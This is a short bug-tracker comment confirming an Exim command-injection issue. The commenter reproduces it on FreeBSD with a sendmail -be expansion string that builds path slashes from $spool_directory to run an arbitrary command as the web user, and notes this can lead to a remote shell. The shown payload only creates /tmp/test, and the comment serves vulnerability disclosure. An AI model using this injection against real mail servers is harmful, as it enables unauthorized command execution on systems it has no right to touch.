https://bugs.exim.org/show_bug.cgi?id=2118
--- Comment #2 from Sandor Takacs <taki@???> ---
If you run this as www-data you can create a remote shell to the attacked site
as the linked PoC says. I tried it im my FreeBSD box:
[root@??? ~]# ls -l /tmp/test
ls: /tmp/test: No such file or directory
[root@??? ~]# sudo -u www sendmail -be
'${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch
${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}'
[root@??? ~]# ls -l /tmp/test
-rw------- 1 www wheel 0 May 5 19:42 /tmp/test
[root@??? ~]#
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